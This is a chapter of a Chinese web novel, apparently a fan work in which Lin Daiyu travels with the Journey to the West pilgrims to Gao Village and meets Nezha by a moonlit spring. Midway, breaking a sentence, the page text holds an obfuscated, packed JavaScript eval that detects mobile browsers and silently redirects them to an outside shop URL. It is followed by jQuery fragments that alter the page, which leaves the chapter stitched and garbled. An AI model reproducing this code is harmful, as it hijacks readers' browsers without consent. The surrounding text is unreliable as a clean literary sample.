一行人自观音禅院废墟出发,向西又行了三日。
第三日午后,终于走出山梁,眼前一片开阔平野,田畴阡陌,屋舍俨然。远处一座大庄院,青瓦白墙,颇有气象。庄前溪水蜿蜒,岸边杨柳依依。
“师父,前面是个大庄子!”孙悟空手搭凉棚望了望,“正好去化斋饭,打听路程。”
唐僧连日露宿荒山,早已疲惫不堪,连声道好。
来到庄前,只见庄门高大,悬着“高老庄”匾额。只是庄门紧闭,门前冷清。孙悟空上前叩门。半晌,门开一缝,一老苍头探出半张惊惶的脸。
待说明来意,老苍头连连摆手:“庄里近来不太平,实在不敢留客。几位还是往前再走吧!”
“不太平?”孙悟空耳朵一动,“怎么个不太平法?”
老苍头欲言又止,正要关门,孙悟空一把抵住门板:“若真有什么不太平,说不定俺老孙还能帮你们一把!”
老苍头瞪大眼睛:“你……你真能降妖?”
“俺老孙专会降妖!”
老苍头犹豫片刻,终是开了门,引一行人进庄。庄内果然萧条,家家门户紧闭。来到高太公家,老太公迎出来,见了几人模样,吓了一跳。待说明来意,又听老苍头低语几句,高太公长叹一声,命人看茶。
“不瞒圣僧,”高太公未语先叹,“庄里确是被妖怪缠上了!”
原来,高太公膝下只有一女,名唤翠兰,年方二八。半年前,庄里来了个黑胖汉子,自称姓猪,名刚鬣,愿入赘高家。此人力大无穷,勤恳能干。高太公起初欢喜,招了女婿。谁知过了不久,这女婿便露出本相——竟是个猪头人身的妖怪!不仅饭量惊人,近来更将翠兰小姐锁在后院楼上,不许家人相见。庄里人怕极,请了几拨和尚道士,反被那妖怪打得抱头鼠窜。
“原来是个猪妖!”孙悟空听罢,抓耳笑道,“好说!这妖怪交给俺老孙了!”
高太公将信将疑,但见孙悟空信心满满,只得千恩万谢,吩咐准备斋饭房间。
黛玉在一旁静静听着,始终未发一言。直到被引至厢房安顿,才轻轻蹙眉。
猪妖…… 她走到窗边,推开一条缝隙。后院方向,一栋小楼窗内透着微弱光亮。楼周气息,隐隐有些浑浊。
她关好窗。此事与她无关。只需在此歇息一晚,明日便走。
不多时,有仆妇送来斋饭。黛玉静静用了,又洗漱一番。待收拾停当,已是月上中天。
庄内万籁俱寂。她吹熄灯烛,在榻上盘膝坐下,准备修炼。然而今夜,却有些心神不宁。
白日里进入高老庄时,她便隐隐觉得,这庄子周围的气息,与她修炼时感应到的天地灵气,似乎有某种极微弱的、不协调的干扰。起初以为是那猪妖的妖气,但此刻静心感应,却发现那干扰来自庄子西面那片竹林深处。
那感觉很奇怪。不是污秽,也不是祥瑞,而是一种……遥远、冰冷、又似乎与她体内的真气有着极其微妙共鸣的存在。像深夜里遥望寒潭中的月影,清晰又虚幻。
黛玉犹豫片刻,终是按捺不住探究之心。她悄然起身,换了一身深色衣衫,将紫檀木匣小心藏好,轻轻推开后窗。月色清明,院中无人。她提气纵身,悄无声息翻出窗外。
辨了辨方向,朝着西面竹林悄然潜去。
出了庄子,沿田埂小路行了一里多地,眼前出现一片茂密竹林。那股奇异感应的源头,就在竹林深处。
黛玉越发小心,收敛气息,步入竹林。越往深处,那股遥远冰冷的共鸣感越明显。竹林中央,竟有一小片空地,空地中央,一眼清泉在月光下泛着粼粼波光。
而泉边——
一道身影静静立在那里,背对着她。
脚踏风火轮,青白火焰静静燃烧。身缠浑天绫,在夜风中微微拂动。虽然只是一个背影,但那通身的清冽气度,与眉心隐约可感的朱砂神韵,黛玉一眼便认了出来——
是那日山隘口见过的那位“三太子”。
他怎么会在这里?黛玉心头一紧,立刻屏息凝神,隐在一丛茂密的翠竹后,一动不敢动。不是回天上去了么?为何深夜出现在这荒郊野外的竹林?
月光洒在他身上,那张总是冰冷无波的侧脸,在月色下竟显出几分罕见的……寂寥。那寂寥如此深沉,仿佛与这整个世界都隔着一层看不见的屏障。
她忽然想起那日孙悟空对他的称呼——“三太子”。这称呼透着尊贵,可眼前这道身影,为何只让人感觉到无尽的孤独与疏离?
就在这时,那身影忽然动了。他并未转身,却淡淡开口,声音在寂静的月夜里清晰得有些不真实:
“既然来了,何必躲藏。”
他发现她了!
黛玉心头一凛,知道自己行踪已露。她定了定神,缓缓从竹丛后走出,在距离他三丈外停下,依礼微微福身:
“民女无意惊扰,只是夜不能寐,随意走走,不想冲撞了尊驾。这便告辞。”
她垂着眼,语气恭谨。
那身影缓缓转过身。月光下,他清冽的目光落在黛玉身上,并无惊讶,也无恼怒,只有一片深潭般的平静。只是那平静之下,似乎有什么极细微的东西,在看到她时,轻轻动了一下。
“是你。”他道,语气听不出情绪,“能寻到此地,倒是有几分灵性。”
黛玉不知他这话是褒是贬,只谨慎答道:“民女愚钝,只是觉得此地清静,故来走走。”
他不再说话,只是看着她。月光下,少女一身深色衣衫,衬得脸色愈发苍白透明,眼眸清澈,却沉静得不像这个年纪该有的模样。通身透着一种极净、极静的气息,与这竹林月色融为一体。
他忽然想起那日在黑风山隘口,惊鸿一瞥时心头那丝极淡的异样。这少女身上的“干净”,与这世间绝大多数浑浊生灵都不同。
“你身上,”他忽然开口,声音比月色更清冷,“有修炼过的痕迹。”
黛玉心头猛地一跳,指尖微凉。
她不知该如何回答,只得保持沉默。
他却不再追问,反而移开目光,重新望向那眼清泉,淡淡道:“此泉灵气纯净。你既已踏上此途,在此修炼,比在别处好些。”
黛玉怔住。这是在……指点她?
似是察觉到她的疑惑,他沉默片刻,才又道:“这天地间,干净的东西不多了。能多留一刻,便多一刻罢。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932332|213642||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
这话说得没头没尾,语气里却透着一丝极淡的、难以捉摸的疲惫。仿佛在说这泉水,在说这竹林,在说这月色,又仿佛在说别的什么。
黛玉不知该如何接话,只低声道:“多谢尊驾提点。”
他不再看她,脚下风火轮青白火焰微涨,身形缓缓升起,竟是要离去。
就在他即将化作流光的前一瞬,他忽然侧过脸,目光投向高老庄方向,那里隐约有妖气波动——是孙悟空正与那猪妖斗法。
他的嘴角,几不可察地,勾起一丝极淡、极冷的弧度。那弧度里,有讥诮,有悲悯,还有一丝深藏的、连他自己都未必清楚的复杂情绪。
西行……取经……功德……
他在心底冷冷咀嚼着这些词。佛门精心策划的这场“量劫”,以取经为名,行争夺气运之实。满天神佛皆入局中,就连那猴子……昔日大闹天宫、敢与天庭叫板的齐天大圣,如今也不过是这局中的一枚棋子,被套上紧箍,走上这条被设计好的“正道”。
他厌恶这局,厌恶那些道貌岸然的算计。可他能如何?莲藕之身,受制于塔,连自己的命运都无力挣脱,谈何反抗这漫天神佛布下的大网?
今夜来此,他自己也说不清缘由。或许是感应到此地劫气汇聚,想来看看这局中的棋子如今是何模样。或许是……想看看那只曾经和他一样桀骜不驯的猴子,在这“正道”上,被磨成了什么样子。
看到黛玉,倒是个意外。这少女身上的“干净”,在这污浊的量劫漩涡边缘,显得如此不合时宜,又如此……珍贵。
罢了。
他最后看了一眼高老庄方向,那里斗法正酣。猴子还是那个猴子,手段凌厉,不减当年威风。只是那威风之下,还有几分当初那份宁折不弯的反骨?
若有一天,那猴子真想挣脱这枷锁……
他心中某个角落,极轻地动了一下。
若有那一日,凭这一点“相似”,力所能及处,帮一把也无妨。
这念头一闪而过,快得连他自己都未深想。
朱红流光乍起,撕裂夜空,瞬息间消失在天际,再无痕迹。
竹林重归寂静,唯有泉水潺潺,月光如水。
黛玉独自站在泉边,望着他消失的方向,久久未动。
他那声几不可闻的叹息,那投向高老庄的、复杂难辨的一瞥……都在她心中留下了浅浅的涟漪。
半晌,黛玉在泉边寻了块干净青石坐下,盘膝闭目,试着依言在此修炼。确实如神仙所言,此地灵气纯净温和,极易引导吸收。
修炼不知时辰。待她再次睁眼,月已西斜。
她起身,对着清泉微微一礼,然后转身,悄然没入竹林。
回到高老庄客房时,庄内已有动静。后院方向隐隐传来呼喝打斗之声,持续了约莫一刻钟,才渐渐平息。
不久,孙悟空得意洋洋的声音在前院响起,夹杂着高太公千恩万谢的哭嚎,和一个瓮声瓮气、带着哭腔的讨饶声。
黛玉没有出去看。她只是静静坐在窗边,听着外面的喧嚣渐渐平息。
高老庄这一难,过去了。
而她这段“暂随行”的路,也快要走到头了。